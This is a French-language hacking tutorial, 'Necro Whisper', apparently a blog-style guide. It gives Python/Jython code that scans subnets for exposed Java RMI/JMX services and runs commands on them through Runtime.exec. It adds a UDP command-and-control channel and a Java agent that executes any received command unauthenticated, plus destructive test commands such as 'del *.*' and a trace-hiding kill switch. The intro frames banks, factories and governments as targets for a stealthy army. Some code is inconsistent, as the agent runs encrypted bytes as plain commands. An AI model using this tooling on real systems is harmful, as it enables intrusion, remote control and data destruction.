⚡ NECRO WHISPER – LE MURMURE DES MORTS ⚡

🪦 INTRODUCTION – LE RÉVEIL DES MORTS

Necro Whisper est un hack Python qui fait danser les squelettes numériques. On parle de vieux serveurs Java, de JVM vulnérables, et d’IoT laissés pour morts dans les coins sombres d’Internet. En 2025, ces ruines traînent partout – banques, usines, gouvernements – et on va les réveiller pour en faire une armée furtive. Scans avec CPython, injection via Jython, et ordres cryptés qui murmurent le chaos. Pourquoi ? Pour montrer ce que Python peut faire quand on le pousse à fond, avec une touche de magie noire éthique. Prêt à invoquer les esprits ? 😈

🛠️ MATÉRIEL & SETUP

Pré-requis logiciels

Voici ton kit de nécromancien :

• Jython 2.7.3 : Le pont vers les JVM – télécharge sur jython.org (~5 Mo).
• CPython 3.11+ : La base brute pour scanner – python.org.
• Libs CPython : Installe avec pip install aiohttp cryptography pyhackrf – vitesse, chiffrement, RF.
• Java 8+ : Pour les cibles et Jython – prends-le sur Adoptium.
• PyPy (optionnel) : Boost JIT pour les pressés – pypy.org.

Matériel (optionnel)

Pour aller plus loin :

• HackRF One : Sniff RF comme un pro (~300€, GreatScott).
• RTL-SDR : Low-cost pour débuter (~30€, Amazon).
• VM Test : JBoss 4.x sur Docker – docker run -p 1099:1099 jboss/jboss-as:7.1.1.

Installation

Suis ces étapes pour tout mettre en place :

# CPython
wget https://www.python.org/ftp/python/3.11.8/Python-3.11.8.tgz
tar -xzf Python-3.11.8.tgz && cd Python-3.11.8
./configure && make && sudo make install
pip install aiohttp cryptography pyhackrf

# Jython
wget https://repo1.maven.org/maven2/org/python/jython-installer/2.7.3/jython-installer-2.7.3.jar
java -jar jython-installer-2.7.3.jar -s -t standard

# VM Test
docker pull jboss/jboss-as:7.1.1
docker run -d -p 1099:1099 jboss/jboss-as:7.1.1

💾 CODE PRINCIPAL – NECRO WHISPER

necro_whisper.py

Le cœur du murmure – un script qui jongle entre CPython (scan et C2) et Jython (injection). Voici le code expliqué :

# -*- coding: utf-8 -*-
import sys
if 'java' in sys.platform.lower():  # Jython pour injection
    from java.rmi import Naming
    from javax.management.remote import JMXConnectorFactory as JMX
    from java.lang import Runtime
else:  # CPython pour scan et contrôle
    import aiohttp, asyncio
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
    import os, random

KEY = b'\x01' * 32  # Clé de chiffrement C2 (à personnaliser !)
NONCE = b'\x02' * 24  # Nonce pour ChaCha20 (change-le aussi)

# Scan asynchrone des systèmes morts
async def scan_dead(session, ip, port=1099):
    try:
        async with session.get(f"http://{ip}:{port}", timeout=2) as resp:
            if resp.status == 200:
                print(f"[+] Mort trouvé : {ip}:{port}")
                return ip
    except:
        pass
    return None

# Balayage du réseau
async def necro_scan(ip_range="192.168.1."):
    async with aiohttp.ClientSession() as session:
        tasks = [scan_dead(session, f"{ip_range}{i}", 1099) for i in range(1, 255)]
        results = await asyncio.gather(*tasks)
        return [ip for ip in results if ip]

# Réveil via RMI/JMX (Jython)
def wake_dead(ip):
    try:
        rmi = Naming.lookup(f"rmi://{ip}:1099/JMX")
        agent = JMX.connect(rmi)
        conn = agent.getMBeanServerConnection()
        conn.invoke("java.lang.Runtime", "exec", ["cmd.exe /c echo Necro Whisper > C:\\whisper.txt"])
        print(f"[+] {ip} réveillé")
        return True
    except Exception as e:
        print(f"[-] Erreur : {e}")
        return False

# Envoi d’ordres cryptés via UDP
def whisper_c2(ip, command):
    from socket import socket, AF_INET, SOCK_DGRAM
    cipher = Cipher(algorithms.ChaCha20(KEY, NONCE), mode=None)
    encryptor = cipher.encryptor()
    payload = encryptor.update(command.encode())
    sock = socket(AF_INET, SOCK_DGRAM)
    sock.sendto(payload, (ip, 6666))
    print(f"[+] Murmure à {ip}: {command}")

# Auto-destruction
def kill_switch():
    os._exit(1)  # Fin brutale, pas de traces

if __name__ == "__main__":
    if 'java' in sys.platform.lower():  # Jython
        targets = ["192.168.1.100"]  # À remplacer par ton scan en lab'
        for ip in targets:
            if wake_dead(ip):
                whisper_c2(ip, "whoami")
    else:  # CPython
        loop = asyncio.get_event_loop()
        dead_ips = loop.run_until_complete(necro_scan())
        print(f"[+] Morts : {dead_ips}")
        for ip in dead_ips:
            whisper_c2(ip, "dir > C:\\necro.txt")
        # kill_switch()  # Décommente pour disparaître

🧠 AGENT JAVA – LA MARIONNETTE

necro_agent.java

L’agent qui écoute tes murmures sur UDP 6666 :

// Compile avec javac necro_agent.java
import java.net.*;
public class NecroAgent {
    public static void main(String[] args) throws Exception {
        DatagramSocket sock = new DatagramSocket(6666);  // Écoute sur 6666
        byte[] buffer = new byte[1024];
        while (true) {
            DatagramPacket packet = new DatagramPacket(buffer, buffer.length);
            sock.receive(packet);  // Reçoit le payload
            String cmd = new String(packet.getData(), 0, packet.getLength());
            Runtime.getRuntime().exec(cmd);  // Exécute la commande
        }
    }
}

Injection

Compile avec javac necro_agent.java, puis injecte via RMI/JMX avec Jython. Il devient ton esclave silencieux.

⚡ TESTS RÉELS – LABO CHAOS

Setup Test

Voici comment réveiller les morts en labo :

• VM Cible : Lance JBoss – docker run -d -p 1099:1099 jboss/jboss-as:7.1.1.
• Scan : python3 necro_whisper.py pour trouver les cibles.
• Injection : jython necro_whisper.py sur une IP détectée.
• Contrôle : Teste avec whisper_c2("172.17.0.2", "del *.*").

Test RF (Optionnel)

Pour traquer les IoT oubliés :

# Avec HackRF
hackrf_sweep -f 400:500 > rf_scan.txt
# Analyse pour vieux Java (ex. caméras)

Résultats Attendues

Si tout roule :

• Scan : Liste des IPs vulnérables en ~10s.
• Injection : C:\whisper.txt apparaît sur la cible.
• C2 : Commandes exécutées, pas de logs visibles.

⚠️ RISQUES & ÉTHIQUE

Ce truc est puissant, alors écoute bien :